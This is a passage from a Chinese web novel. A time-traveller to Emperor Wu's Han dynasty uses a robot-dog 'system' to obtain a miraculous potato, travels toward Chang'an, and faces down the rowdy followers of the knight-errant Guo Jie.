【二没有丰厚的家底钱财,筹集粮草支援大军,从而间接签到。】
没有家底钱财=给他钱财让他暴富!
刘吉:暗示已经很明显。
【签到的月石有用,但于我而言又不稀缺,也不急用。这次我们就不签到了好不好?】
月石不稀缺=给他稀缺的东西=给他签到开出稀有奖励啊!
日常签到二十天,历史名人签到十三人,历史大事件也成功签到一次了,却没再出过一次稀有奖励!
可是系统再智能,也赶不上人脑,揣摩不了隐晦的言外之意。
【不好!河南之战可是……】
接着还是那一番长篇大论,无非强调河南之战的重要意义。
【那要不狼灰你就像当初带我穿越一样,把我载去战场吧?我们偷偷地去,悄悄地回,神不知鬼不觉,不耽搁事不就好了!】
刘吉一咬牙,像是做出了一个违背祖宗的艰难决定。
【要是可以,还用你说!】
系统一整只狗,甩得像滚筒洗衣机在脱水,全力甩掉刘吉捏折狗耳的贱手!
【《须知》里不是有说明吗?时空穿梭舱是单程供能,抵达目标时空后就自动休眠并充能,只留下系统及载体维持日常运转。】
【等你的身体寿终正寝,并且穿梭舱也充能完毕,才能启动返航。——如果你半途早死,那就意识回归舱中,等待充能完毕。】
【穿梭舱功能用不了,我一只狗,载着你跑个来回?】
把狗当坐骑,你才是真的狗!
【不是承重不行负载不起,是即使我乃狗中赤兔,但狗速就是狗速!】
顶多跑赢犍马,难道还想快过高铁?
刘吉摊摊手:【唉。】
显然狗速不够,不能让他一夜往返,瞒天过海。
眼看系统狗焦躁更甚,时机已经成熟。
似是无意地脑内喃语道:【要是日常签到时,能开出稀有奖励就好了……】
系统狗一愣。
狗眼一亮。
【比如签到奖励是一车金子,我就能放手购置粮草,支援战场。】
【再要是奖励一样什么神物,我就有了正当的理由:去长安献宝。
到时离战场近了,找个借口去签到也是轻而易举。】
对于没有见过胡萝卜的驴,得先给它吃上一根尝过味儿了,再去拿胡萝卜吊着它,才会功效显著。
同理可得,得先给猪猪帝一样什么神物,让他尝到了甜头,得到过实在的好处,才吊得住他。换言之,把系统功能——负分评论(梦中滴滴代骂)、特别关注(自动托梦剧透)——包装成类似‘谶梦’的行为,才能生效。
毕竟想要通过运用系统,提升历史旅游体验,前提是系统功能能够生效。
不是指系统能成功发送负分评论、托梦剧透,是指接收的历史名人,他们得把梦中言论当一回事!得认可‘谶梦’。
刘吉很赞同系统之前的观点:猪猪帝意志坚定,不是能轻易操控的。
所以得一个大棒加一个甜枣地,引导他、吊住他。
想对其余历史名人施加影响,也同此理。
系统狗并不知道,它的人类同事虽
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然嘴上喊着咸鱼躺摆,但其实已经不自觉地开始了筹谋布局。
系统狗一愣又一愣。
狗眼一亮又一亮。
然后整只狗精神焕发,尾巴摇成螺旋桨!
日落月升,毫无进展的五天过去了。
迎来第六日。
【恭喜今日签到成功!】
【恭喜您获得稀有奖励:宇宙优质高产马铃薯!】
刘吉:嘻嘻。
狗毛有的薅。
……
未央宫宣室殿的中堂内,五日一逢的常朝散去。
中大夫主父偃被留下议事。
君臣从中堂移步东室,上席相对而坐。
主父偃束发游学四十余年,年近花甲方才得遇赏识。
尔后一年四次升迁,初为郎中,尔后累迁谒者、中郎以至中大夫,至今也才得意了五六年。
眼下的他年逾花甲,鹤发鸡皮,已然垂垂老矣。
但不同于寻常花甲老人,他老迈浑浊的眼中,不见世事历尽的淡然祥和,反而充斥着偏狭欲望。
年方三十而立的皇帝刘彻,与主父偃对坐席上,尽显唯我独尊之势,泰然处之。
“茂陵初成,中大夫建言:徙天下豪杰、兼并之家、乱众之民于茂陵县,内实京师,外销奸猾。如今可算是初次成行了。”
暴秦虽亡,始皇帝当初‘徙天下富豪十二万户于咸阳’之举,却不失为可鉴之策。
主父偃稍作细思,便猜到陛下为何有此一说。
“只是臣也不曾料到,乱众之民便是离了乡土,往长安来的途中也不能安分!
竟引得沿途贤豪与之结交、欢聚,扰民尤甚。”
乱众之民说的便是郭解,曾让卫青出面求情不愿迁徙的关东豪侠。
如今终于成行,又一路赫赫扬扬。途中有名望、有势力的人物,不管从前认不认识郭解,都争相与他结交、欢聚。
郭解一介匹夫,还不足以让大汉天子嫉妒,即便对方都已请动了仲卿说情。
“迁徙途中的扰民之患,应当重视。”
主父偃垂首:“喏!臣即时就与丞相、御史大夫商议对策。”
说完不愉快的事,接下来说的事还未开口,就令刘彻不自禁露出了笑意。
“仲卿西出云中郡抗击匈奴,战况喜人,匈奴白羊王和楼烦王二部,被打得节节败退,将其消灭、俘虏、逐出汉境,已是指日可待!”
当日的星象,果然该是瑞星入世!
主父偃曾得卫青数次荐举,他与世人皆不能相交莫逆,但与卫青却相处甚好。
“河南地开阔平坦,土壤肥沃,水草丰盛,乃中原与蛮夷皆向往的沃土。”
“秦末战乱时,被匈奴伺机侵占至今,终将在今朝得以收复,此乃不世之功!”
汉匈战况是朝中瞩目之所在,无人不知刘彻所说的喜讯。
但不耽搁主父偃在他高兴时再奉承吹捧一番。
刘彻很享受臣子的知情识趣,但也不耽搁说正事:“河南地一带得以收复后,接下来就该加以治理了。中大夫可有良策?”
“河南地遭匈奴践踏数十年,一方丰饶已被破坏殆尽。若要治理,当重置郡县、修筑城池、垦荒耕植。”
“如此便需民力充沛。臣以为,可招募中原百姓,迁徙至河南地,以充实当地,繁衍生息。”
‘收河南地,置朔方、五原郡’,‘夏,募民徙朔方十万口’①的历史,于此处此时,就已萌芽生根了。
“中大夫所言有理。”刘彻认可了主父偃的献策。
说完两桩正事,刘彻突然笑言:“城阳国来奏,拟待封侯的三王弟吉,偶得天瑞宝物,请献于朕。”
“因宝物不可久放,又献宝心切,在上奏之日就已斗胆启程。”
“算算行程,恐怕已经快出梁地了。”
8. 不要命啦
刘吉的行程比刘彻预测的快多了。
轻装快马,赶路五天。
他不仅已经出了淮水平原的梁地一带,更即将穿过河南郡,函谷关在望了。
等过函谷关,入关中,长安也就近在眼前了。
不过话说回当日。
刘吉是在当天早上睁眼时,签到开出的特殊奖励:土豆。
听清楚系统播报后,当即一咕噜起床!
难得喜悦外露,扬声吩咐:“陶杯、陶盘!你们家郎君,即日就要去长安一趟,快快备好行囊马匹!”
风风火火地塞了一口朝食,就赶去王宫求见城阳王。
请求为他写奏折呈上,奏请允许他入长安献宝一事。
等出了王宫,又驱马出城三十里,带回来一个裹布的箱子。
彼时已是下午时分,又有鲁直和颜枢,耳聪目明察觉到动静,前来拜见。
两人毛遂自荐,表明愿意自备马匹和行囊,追随并护卫刘吉赶赴长安。
两人积极主动地提前入职,试用期倒贴上班的卷王行为,作为受益方的刘吉盛情难却,只好欣然应允了~
又去城阳王马苑借来两匹马,当天就做好了出行准备。
第二天,清早拂晓。
一行五人、五马、一狗,就出了城阳国都城门,策马奔腾而去!
直到系统狗急速奔跑在快马身侧,晨风呼呼地鼓进腮帮子。
终于后知后觉:【刘吉,你是不是给我下套了?】
刘吉驭马飞驰:【狼灰,我好伤心,你怎么能冤枉我?】
【长安之行能够成行,是因为我好运,签到开出了特殊奖励,才峰回路转的啊。】
系统狗:……死绿茶。
它难道能说是它开后门,调了开中特殊奖励的概率吗?不能。
于是只能咽下这个哑巴亏。
开局签到[百邪不侵体]的刘吉,早起晚歇,快马加鞭地赶路,除了磨得大腿内侧火辣辣地疼,身体倒是安然无恙。
陶杯和陶盘却日日悬着心。
可他家郎君,虽然日日蹙眉咬牙,但是日日坚韧不倒。让他们忧心之余,又崇敬不已。
而强撑着才没萎靡的鲁直和颜枢二人,则在心中暗翻白眼:
谁说三王弟吉体弱多病的!
他可太年轻力壮了!
脸似雪白,确实一副弱不胜衣的样子,却能一日又一日地,稳稳骑在马背上飞驰。
就连养的一只犬,都比他们强多了。
能与马竞速、拼耐力,且神采奕奕,不落下风!
刘吉:你说你们和机器狗比什么。
未来的鲁洗马&颜中庶子:恐怕郎君以往的卧病不出,实为隐居避世。
如今郎君将要封侯,自然也就入世了。
刘吉:努力说服自己的你们,真的很好。
……
夕阳西落,暮色四合。
“郎君,前面的城池远在二十里开外,若摸黑赶路,恐怕难以在闭城前入城。”
鲁直驱马来到刘吉身侧,“今晚恐怕也要露宿野外了。”
有系统导航的刘吉自然心中有数,情况也和鲁直所说大差不差。
在十里不同音的封闭古代,一路走来,鲁直竟大致认得路,可见他是走南闯北走过的。
仅这一点,他就称得上是人才了。
“伯敬想的周到。”
刘吉放缓速度,却没勒停马匹,仍小步放跑着。
“不过我们好运,今夜不必以天为被、地为床了。”
“前面三五里地外,就有一处田堡庄园,周围应当会有家户聚落。”
“找户人家给上十来钱,借宿一晚,再借地方和柴禾烧几罐热水,对方应当会愿意做这笔交易吧?”
为何不干脆去敲庄园的大门?珍馐美味,高床软枕,借宿的话会舒坦许多。
一是交际应酬麻烦得很。
二来,怕人家把他当骗子,大扫把打出来,自证身份也麻烦得很。
“当然。仆臣这就叫上陶盘,先走一步去找好借宿的人家,郎君随后赶来。”
同行五日,双方都对彼此的行事秉性有了更深的了解,鲁直就觉得郎君真是一位仁善君子。
乡野家户人家,遇到夜行之人借宿,无不是诚惶诚恐地接待,哪敢要钱?
毕竟他们不知道三五数十个一伙的行人,究竟真是过客,还是匪盗。
就算不是歹人,又怎保不会哪里一个不顺心,就半夜摇身一变,屠了你满门?
久而久之,真正的行人也少有付报酬的了,但他们郎君言行如一,他是真付钱啊。
农户提供一晚住宿,就能得到十来钱的报酬,这桩交易也是真厚道。
十枚(四铢半两①)钱,五谷粮食大概能买一石半了。
鲁直叫上了负责餐食的陶盘,策马离队,先行一步。
刘吉、陶杯和颜枢三人,则在后面哒哒小跑着跟上。
等他们看见前方人烟时,天也快要黑尽了。
鲁直站在一处小路口等候,见人赶到,忙上前引路:“借宿的人家就在前面。”
牵着刘吉的马匹走在前,边走边细说:
“刚好是同族的两户人家比邻而居,两家一起腾出了勉强够我等五人借宿的地方。”
“谈妥了给付十钱,以作酬谢。烧水的柴禾和喂马的草料,也不额外要钱。”
小径上走了片刻,才算到地方了。
停在篱笆院门外,刘吉翻身下马,又解下马背上的箱子亲自抱着。
箱子六尺②见方,用灰扑扑的麻布裹得严严实实,颇有分量。
鲁直牵走马去拴到屋侧,也好让马儿休息吃草料。
两家的两位老翁迎上前来,见礼说话。
“……今晚老儿两家人就住到一家去,腾出一家的一堂两室,好叫郎君们住在一起,也方便照应。”
“老翁想得周到,有劳了。”刘吉眉眼带笑,神态亲和地道谢。
天黑没有点灯的隔壁家屋内,黑不隆冬的。
刘吉视力健康,还是看到了躲在门后的小小几个脑袋。大约是害羞,也是戒备陌生人。
住在一起方便照应这一点,对他们双方都适用。
刘吉也没再多说,别过两位老翁,走进燃着一根火炬的昏黄茅草屋内。
一进屋里,丝缕泥腥气钻入鼻间,但没有难闻的异味。
因不富裕而空旷的屋内,一眼望去也很干净整洁。
“郎君,喝口水解解渴。”先到的陶盘已经烧开了一罐水,陶杯一进屋就从包袱里找出杯爵,给刘吉倒来一杯热水。
然后才轮到颜枢、鲁直和他自己——陶盘就是烧水的人,总不会缺水喝。
水喝完,解了渴,陶盘也已热好了糗糒——干粮麦饼。
人手一个糗糒,再续上一杯热水,就是一顿夕食了。
咬一口梆硬的干巴麦饼,喝一口热水,在嘴里拌一拌和一和,抻脖子服下!
都是维持生命,这谁还分得清吃饭和吃药?
也得到了一碗水泡麦饼的狼灰,叼着碗走到昏暗的墙角去,埋头吃得稀里呼噜的响。
实际上:【存到了胃袋空间里,你饿了的时候,可以吐出来给你吃。】
【我是金属机械,没有消化行为,吐出来也还是干净的。】
刘吉冷漠拒绝:【不需要,谢谢。】<
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p>这伙食,狗都想吐出来给他吃!
系统狗正气凛然:【浪费食物,天打雷劈。】
刘吉温温柔柔:【大自然的虫鱼鸟兽、微生物也是生物,狼灰你作为宇宙时代的智能生命,我相信你是博爱万物的,肯定不会狭隘地歧视非智人生物。】
【所以,你吐出来给他们吃去吧,你看这样行吗?】
系统狗:【……行。】
茶都茶得有理有据。
……
出门在外,讲究不了一点。
吃过夕食,又烧了两罐热水,六人共用,凑合擦洗过后,就在农家的卧床上和衣睡下了。
刘吉独享东室一床。其余五人,陶盘和颜枢同睡西室,今晚轮值的鲁直和陶杯则在堂屋席地而眠。
半晌后,其他人已经睡熟。
刘吉听着隐隐传来的呼噜鼾声伴奏,开始在脑内写负分差评。
【今农户五口之家,服役者不下二人,能耕田不过百亩。
若逢平年,一岁一亩地,收获一石半。倘遇丰年,亦不过两石半而已。
于是一岁收获稷、粟、麦之粮,百五十至二百石间而已。
一口人一月食粮约一石半,一年则食粮近二十石。
农户五口,一月食粮六至八石间,则一岁食粮近百石。③
于是一岁余粮在五十石至百石间,用于纳赋缴税,而赋税之外,又有苛捐杂税,诸般耗费。
更有居家花用,抚幼养长,人情礼往。
再者,年有丰歉,又是平年歉岁多,而丰年少。
于是岁收不足以果腹者,十有五六。
苦兮苦兮!】
【今界外后世宇宙,有高产之粮:色如土,形如卵,大胜拳,谓之马铃薯。
切芽块埋种,不生病虫诸害,侍候勤劳,可亩收百石,六十倍稷粟麦。
然亦有憾,其皮嫩易破,破则易腐,不胜颠簸远输。
窖藏可稍延时日,然亦难逾年,唯即收即食,救灾济荒而已。
日前已散入此世,若逢有缘者,不日便可献至陛前。
机缘不易,若得此粮,望尔务必珍之重之!
——致汉武猪猪帝】
洋洋洒洒写完,指定了负分评论的历史责任人——即评论接收人为猪猪帝。
刘吉就干脆利落地消耗2月石,按下发表键!
系统看完评论内容,疑惑不解:【你为什么评论剧透了所献宝物是马铃薯?】
刘吉反问:【不然呢?】
系统狗前爪搭在床沿边,【这样一来,你的功劳不就被大大削减了吗?】
【汉武帝又不知道评论背后的人是你,他只会以为是天神眷顾他,不过借你之手呈上而已。】
【一般套路,不应该是你当着大汉文武群臣的面,当堂献上宝物,在君臣瞩目之下打开宝盒?】
【然后口若悬河,说出你(编造的)获得宝物的神异经过,以及宝物的稀世高产,最终以不世之功,达成青史留名成就!】
如果能当神,谁会愿意当神使啊?它的话都是有大数据支持的。
刘吉不可置信:【我不要这条命啦!】
【我不要命,狼灰你也不要历史签到任务了?】
系统狗摸不着狗脑:【啊?虽然你有时气得统犬牙痒痒,统也想拿你磨磨牙。】
【但我们是协作一体的同事,你还是不死的好吧?】
【……对于我的死活问题,狼灰你竟然不确定?】
【我竟不知,狼灰对我已有如此深的积怨,是哪里有什么误解吗?我好伤心啊。】
万籁俱寂的黑夜,刘吉幽幽想道。
系统狗:茶味儿腌入味了喂!
9. 鼠辈尔敢
插科打诨两句,刘吉说回正题:【为什么评论剧透土豆?】
【我可是汉高祖玄孙,直系血脉的那种!】
【还神异,还不世之功,想干吗!想以小宗入大宗,以孽代宗,谋夺皇位啊!】
【君不见贾宝玉的衔玉而生,都被‘红学’家们诟病不臣。如果我直接搞出一个‘神之宠儿’、‘神之子’、‘神之眷属’……你信不信我的vip身份能当场失效!】
【真当动辄诛杀官吏,就连万人之上的丞相都当耗材使用的猪猪帝,会大发善心不杀我?】
【‘公孙贺拒相’的含金量,还在被低估啊。】
就算他扯虎皮大旗,他对猪猪帝又暂时有用,大概率不会立刻杀了他,那也是有朝一日的事。
那样他未来每一日,都将活在被戒备、打压、算计之中。
【和猪猪帝搞权谋斗争?那我还是当一条咸鱼吧,做做签到任务,苟着混混日子这样。】
系统被说服:【……你别说,还真是。】
……
函谷关外,刘吉和系统狗在被窝里蛐蛐人。
关内长安城,刘彻第二次入梦。
梦游九天,神授天机……
一梦醒来!
刘彻一个鲤鱼打挺,猛地坐起!
胸膛起伏,心如擂鼓!
——不同于第一次的震撼骇然,今晚是因为激动狂喜。
抛开‘汉武猪猪帝’的怪谐称呼,所授的天机实在是令他心潮澎湃——
亩收百石,六十倍于稷粟麦五谷!
不能颠簸远送,即收即食,窖藏也难逾年?不值一提!
有高产这一条,所有遗憾就都不值一提了!
刘彻激动得掀被下床,赤脚在床前走来走去,走来走去。
春日的夜晚,沁凉自脚底向上传导,让他沸腾的头脑逐渐降温,终于重新运转。
天机言语之间,似乎很嫌弃大汉田亩产粮量,那大汉就可以想法增产。
“选拔善耕的农家子弟、经年老农,改进农具、改善地力、培育选种。”
兴修水利之事倒是一直在做,却也不可懈怠。
刘彻继续喃语:“只是怎么不把神种直接赐至未央宫呢?反而散入世间,还需有缘者献上。”
“世人贪婪、愚昧,若是瞒下神种,或者不识货而糟蹋了,更甚至被野兽啃食了,大汉岂不就错失高产神粮!”
如今竟然要把足以影响大汉未来的,神粮的得与失,交给百姓世人决定。
刘彻止不住地忐忑心焦,又开始走来走去!
走来走去!
然后在心中祈祷,并许下承诺:“若有缘者能献上神粮,朕必厚赐金银!”
第二夜。
祈祷并许下承诺:“若有缘者能献上神种,朕将赐他黄金千斤,并列地封侯!”
第三夜。
“有缘者最好识相地献上神种,朕还可饶他不死!”
第四夜。
“有缘者若献上神种,朕要敲碎他的双腿,并族诛之!”
刘吉:诛九族?最好是说话算话。
当然当然!玩笑罢了。
刘彻确实等得心焦,但不至于真的疯魔了。
他深知行路缓慢,有缘者也不是一天半日的,就能来到长安。
……
刘吉大约能想象猪猪帝的热切盼望,但他现在没空去管了。
他发出负分评论后就睡下了,刚睡酣熟,就又被一串哐哐拍门声惊醒。
伴随拍门声的,还有闹哄哄的喧嚣声。
就像夜宵摊上喝高了的中年男人们,扯着嗓子呼呼喝喝。
“有人没!出来个人!”
“有事,出来个人!”……
睡在堂屋的鲁直最先来到床前:“有一行十来人,在拍隔壁家的门,尚不知缘由。”
颜枢紧跟其后:“听这粗鲁急躁的架势,恐怕很快就要来拍这边的门了。”
刘吉起身下床,打算出去看看情况。
“乡野虽没有宵禁,但都是日出而作、日入而息,这夜半拍门的行径,实在无礼至极!”
劁你爹的!
扰人睡眠,千刀万剐!
“你们都拿上剑,若来者不善,怕是要有一番恶斗了。”
趿拉上鞋履,也提上他的长剑。
深更半夜,土匪架势,来者友善的概率不大。
是流氓过路?
还是他献宝的事情和行程走漏了风声?
鲁直、颜枢和陶杯、陶盘,都簇拥到刘吉身边来,人人手握一把长剑,站在堂屋的门板后严阵以待!
鲁直气势汹汹:“郎君往后站,我等在前护卫!”
“汪汪汪!”
猛犬狼灰亦咆哮几声,做出迎敌之势!
【你可拉倒吧。真打起来,你们那五把长剑还没有我一口钢牙锋利。】
【差点忘了,你可是真·铜皮铁骨的机械狗。】刘吉摸摸身侧狼灰的狗头。
掌心毛茸茸温热的触感,就跟在摸真狗头一样,一时忘记了这是一条刀枪不入的仿生机械狗。
【那我们五个的安全,就全交给你了。】
系统狗:【虽然我的设定确实是护卫犬,但总感觉你真把我当狗用了。】
刘吉:把狗当狗,怎么了?
【狼灰你想多了,我是说情势危急之时,只有靠你力挽狂澜救我们于危难了。】
“砰砰砰!”
果然门外响起粗鲁的拍门声。
与此同时,隔壁家响起吱呀开门声,随后传来老翁的说话声:
“诸位义侠,老儿人老迟钝,起迟了,见谅见谅!可是有什么吩咐?”
“你老儿一双老眼倒不昏花,识得我等乃从河内郡轵县而来的义侠!哈哈哈!”
“哈哈,哈哈。”老翁尴尬而不失礼貌地哈哈陪笑。
这乌漆抹黑的夜里,伸手不见五指的,哪里识得你脸是什么样?更别说知晓来路了。
河内郡轵县……
刘吉咀嚼着这个地名。
老翁不过是面朝黄土背朝天的一个农夫,当然不能仅凭一个地名,就知道是哪位游侠。
不过有醉醺醺的来人,他们会自报家门的。
“我等兄长大名,就是说来如雷贯耳,鼎鼎大名的河内郡轵县郭解!”
刘吉恍然大悟。
想想‘徙郡国豪杰及訾三百万以上’记载的时间,算上战线拉开的前摇阶段,郭解出现在这里没问题。
大佬如诗仙,都没能在以简练著称的《资治通鉴》中留下只言片语,郭解却占据千字之言的篇幅。
不愧是你郭解啊。
看上去一起迁徙的不止他一人一家,离乡背井追随的拥趸也众多。
黑夜的人群里,终于有人道出目的:“老儿,你家有肉没有?”
已有猜测的老翁闻言,声音苦涩:“老儿家贫,并无肉食,实在是一人带着一对半大不小的孙儿……”
“没肉就去杀豚宰羊!哪来这许多废话!”
终于,刘吉开口就是讥讽:“酒后吐真言,醉后现原形。”
嘎吱!
一把拉开门。
“从今夜看来,威名远扬的豪侠郭解,麾下竟也不过是一群酒肉恶霸,日常做一些强盗行径。”
陶盘点燃一根火炬,举在侧前方照明。
刘吉一张清隽的脸映在火光下,明暗不定,平添几分莫
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测危险。
拍门的人刚才被隔壁吸去了心神,听到门后清凌凌的讥讽,转回头来。
又听到了对方鄙夷的后半句。
“哪里来的奸猾匹夫!竟敢妄论我等兄长,舌头不要了就割来下酒!”
鲁直挺身斜出,护到刘吉身前,长剑一横,就要劈向对面,被刘吉一拦才暂时隐忍下来。
“哈!”直面劈头盖脸的威胁和唾沫,刘吉发出一声短促的笑。
“像杀死那位批评你们兄长‘专以奸犯公法’的儒生那样,杀死我?割下我的舌头?”
“嗯?”拍门的人看刘吉似乎知晓他们的来历,当即辩解:
“兄长麾下追随者众多,根本不知是何人犯下那事,兄长未曾指使,更不知情,如何能怪兄长!”
“郭解以布衣之身,窃据赫赫权势,因睚眦之事,便有人为他杀人。郭解虽不知,其罪却甚于郭解杀之!”
刘吉在这里化用了来日公孙弘对此事的评论,也深觉郭解其罪甚恶!
麾下众多,却不能约束规范麾下的行为,为祸之巨不下于土匪!
其实郭解的势力团体,本质上就是祸乱一方的黑恶势力。
郭解年轻时呼朋引类,快意恩仇,藏纳亡命之徒,作奸犯科,俨然一个违法累犯的小混混。
年长以后成熟一些了,看破了社会人世的真面目和潜规则,就开始检点自己的行为。
摇身一变,成了谦恭节俭、以德报怨、施恩不图报的模样,开始修德行、积人望。
——可却是以破坏‘公义’的行为,去修的‘私德’。
最终形成了自己的势力集团,成为‘权行郡域、力折公侯’的大人物。
也就多的是手下为其杀人了,哪还用他郭解亲自动手。
“胡言乱语!你谅我不敢杀你?!”
黑夜之中,‘苍啷’声声,十数把刀剑出鞘。
“鼠辈尔敢!”鲁直一声怒喝!
主辱臣死,还敢对郎君刀剑相向,除非先从他尸体上踏过去!
陶杯等人也身心戒备起来。
一时间,气氛剑拔弩张。
鲁直就要先下手为强时,刘吉拍拍他肩膀,再次安抚他少安毋躁。
但嘴上却不是息事宁人该有的样子。
“在尔等老家,有一位主张迁徙郭解的杨姓官吏,在官府决定迁徙郭解后,尔等就把杨家父子都给杀了,只为替郭解出气。”
后来杨家人到长安告状,郭解的人竟然将其杀死在了猪猪帝的宫门之外。
这都不是天子脚下了,这是天子眼皮子底下啊,就敢截杀告状之人,何等无法无天!
“只不知,你们敢公然杀戮县官,是否敢在函谷关外、长安门前,屠戮列侯?!”刘吉斥问道。
作为已昭告天下将要分封列侯的刘姓皇室族人,就不知他们是否敢杀他?
“尔等若敢将我杀死在这无名小院,我还真要赞一句:真乃不畏权贵的真勇士!”
若他们今日不敢,也不过是一群畏强凌弱的无耻鼠辈而已!
刘吉的一番陈斥犀利辛辣,又有理有据,把对方骂得愣在当地。
虽他们这些人没杀那杨姓父子,但未必没有旁人去杀了解气。
这人自称列侯,又说得斩钉截铁,恐怕确有其事,多半就发生在他们启程迁徙之后。
他们敢在家乡杀县官,快意恩仇,但是在此地杀一尊列侯……
黑夜中,刀锋上寒光凝滞。
不敢杀,又不甘不杀。
黑夜之中,有意气躁怒之徒受不了激,欲举剑舍生一击,以全颜面。
但正在此时。
一儒雅文士模样者自黑暗中走出,来到刘吉面前。
10. 事情了结
“不知是城阳三王弟当面,吾等眼拙,方才多有冒犯,望请见谅。”
儒雅文士这一开口,率先道出了刘吉的身份。
呵。
刘吉此行没有大张旗鼓,他们却能准确知晓他的身份。
谁说这不是亮明拳头,隐含威慑呢。
但他刘吉就是面团捏的了?
“古今侠者,有卿相之侠与布衣之侠。古有卿相之侠者战国四公子,信陵君窃符救赵的事迹流传后世。”
“今有布衣之侠郭解,远赴洛阳,调解当地闻贤尚不能解的纠纷,何等‘权行郡域、力折公侯’之人!”
亮拳头搞威慑?谁不会呢!
“不敢以区区未封侯的庶人之身,而与郭义侠相提并论。”
面前不是郭解本人?
没关系,对骂从来都不是腚对腚眼对眼。
刘吉说的都是好话,但没人当夸奖去听。
【叫你一声阴阳大师,你敢应吗!】
“……”
黑夜为之一静,喧嚣寂无。
文士小有城府,还算沉得住气。
只是一顿,就又慢条斯理地讲起道理来。
“夜半过门,实在是我等无礼了。”
刘吉:“不敢不敢”。
夜半过门可是你们的传统艺能。
史书就有记载,常有豪强半夜出入郭解家中,大搞不法聚会。
文士不知刘吉心里嘀咕,继续娓娓道来:“今夜原是吾等兄长迁徙路上途经此处,本地贤豪听闻,愿与兄长结交,于是盛情邀请,在不远处庄园里宴饮欢聚。”
刘吉:哦,‘关中贤豪知与不知,闻其声,争交欢解①’嘛。
关中尚且如此,遑论函谷关外了。
“此间饮酒吃肉,欢饮达旦,已有二日。可吾等兄弟一行众多,竟将庄园中的牛羊狗豕食用殆尽。”
“于是吾等兄弟这才夜半出来,欲向周遭农夫家寻些肉食。只是兄弟们不胜酒力,这才失了分寸,扰了郎君与老翁诸位安眠。”
刘吉:竟把深夜扰民、强买强卖,美化成至情至性之举?
又在此时,黑夜中由远及近地,响起一道声音。
“叫兄弟夜半外出寻肉食,以供欢饮一事,是郭解考虑不周,惊扰郎君与诸位,实在惭愧。”
……
【恭喜成功签到[历史名人:豪侠郭解]!】
【恭喜您获得500月石!】
迁徙地方上的强势人物前往茂陵县,是和以推恩令打击诸侯王势力在本质上一样,同属于汉武帝内强皇权的重要手段。
作为被杀鸡儆猴的代表人物郭解,签到奖励500月石,也合情合理。
【叮——】
【您当前月石数额为:1525。
已解锁第三项系统功能——空间存储栏位,欢迎使用!】
【截至目前,系统所有服务和功能都已解锁完毕,欢迎使用!】
大前天日常签到之后,月石累积满1000,就已经解锁了‘签到名人的特别关注’服务。
算上发负分评论、空间存储栏位的功能,再加一个不用解锁的强制vip续费功能,系统的全部四项功能和服务,就解锁完毕了。
……
话音刚落,一个中年男子也来到刘吉面前,拱手作揖赔礼。
其貌不扬,五短身材,大名鼎鼎的郭解长相倒是普通。
“在此,郭解愿赔偿老翁两家钱各一千,以弥补惊扰之罪。”
不曾记恨刘吉的诽谤之言,还赔偿两家各一千钱,端的是慷慨大方,以德报怨啊!
院中郭解的麾下,看过来的目光都灼热了。
可是当初城阳王给刘吉回礼,也只回赐了一千钱呢。
十钱可买粮一石半,一千钱则可买粮一百五十石,相当于五口之家的农户一整年的收入了!
所以说,郭解怎么就不满足迁徙条件了?
家资即便不满三百万,亦不远矣。
郭解哪里家贫了?富着呢!
再看他的手下,县官说杀就杀,更敢在宫门外截杀告状苦主。
这不是实打实的乱众之民?
那杨姓县官主张迁徙郭解,真是再有理有据不过了,他们父子死的冤啊。
“郭义侠言重了。”话已至此,刘吉不再多说,也不去计较郭解的神出鬼没。
不过,想来那告状的杨家人此时已在路上了吧,如果最后还是被郭解的人杀了,何其无辜!
刘吉终究重申道:“麾下甚众,却不能加以约束,其为祸之巨,不下于匪寇也。”
“许多恶事即便不是郭义侠亲身所为,其罪却更甚于亲犯。”
“以匹夫之细,窃生杀之权,其罪已不容于诛矣。②”
刘吉将班固对郭解的看法,送给了他。
“望尔能细想一想,否则你一族,恐怕不能安居茂陵县了。”
否则像历史上的那样——被查办族诛,就是他必定的结局了。
“你难道欲向皇帝进言,诬告我等兄长!”有人嚷嚷道。
两个院子上空气氛一变,再次压抑危险起来。
郭解亦不言不语。
好言难劝该死的鬼。
刘吉最终只道:“郭义侠,我只望你惜名。若不想遗臭万年,还留得一个侠名,就别事后报复老翁两家。”
不等郭解分辩,刘吉又已拿话堵住:“我的意思是,管好你的麾下拥趸,你知与不知情,都保证别为难他们。”
“郎君放心。”郭解一时言辞激昂,“解从来言必信、行必果、诺必诚,为赴士之困厄,不惜残躯!”
刘吉知道,后一句是载于《史记》的游侠精神。
不管郭解是否对他之前的一番斥责心中存怨,还是觉得他看轻了自己布衣之侠的道义。
总之,郭解不会为难老翁两家就好。
为了把两老翁作为彰显品德的旗帜,郭解或许反而还会额外确保两家安宁。
“如此甚好。”
刘吉语气冷淡:“今夜就此了结罢。”
“郎君有缘再会。”郭解也不愿再说。
这一场相遇是相看两厌,不欢而散也就是注定结局了。
郭解带领麾下退出小院,又到隔壁去,亲手给两个老翁奉上各一千钱的赔偿。
事情了结。
关门吹灯。
回屋睡下前,陶杯不确定地提议:“郭解鼠辈万一趁夜偷袭,我们人单力薄,恐怕不敌。是否连夜赶路为好?”
郎君应当是在出发前一日入宫时,受过王上指点教导,又告知重要轶事秘闻。
且郎君本就毓秀于内,所以这一路行来畅通无阻,碰上迁徙的豪侠郭解也能痛责斥骂,有理有据,大获全胜。
但游侠言行无忌,就似那粪坑里的顽石,郎君却如那高山美玉,两两相碰……
“无妨。”鲁直作为走南闯北过的人,倒不担心郭解他们去而复返。
“他们若要杀人灭口,刚才当场就动手了。”
颜枢则更加深谙人性幽微。
“诚如郎君最后所言,郭解既自诩侠士,便会重视名声,不会做郎君早已揭露、事后报复的不齿之事。”
“再者,郭解并不赞同郎君之言呢。”
颜枢同为儒生,对郭解手下只因那儒生批评
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之言,就杀人割舌的行径,深感同仇敌忾。
“恐怕他郭解认为,不是他亲自手刃杀人,他便是清白无罪的。”
刘吉接话:“既然郭解自觉无罪,就没有杀我灭口的必要了。”
“安心去睡吧。”
就算郭解不能约束手下,又出现擅作主张的情况,喽啰们悄悄前来杀他,也还有开启环境监测扫描功能的系统狗在。
有可以提前预警,瞧不起他们战五渣的系统狗在,足以让对方有来无回。
而他刚才之所以肆无忌惮地做嘴强王者,也是仗着有系统狗护卫。
星际机械狗VS西汉黑恶势力。
战局胜负,不难预测。
果然一夜平安。
第二日一早,刘吉一行告别两家老翁。
“……昨夜叫你们受惊了。”
“郎君哪里话!如果昨夜不是郎君挺身执言,老儿家养的牛羊狗豕就被宰杀得一头不剩了。农户没了这些牲畜,破家之日就在眼前。”
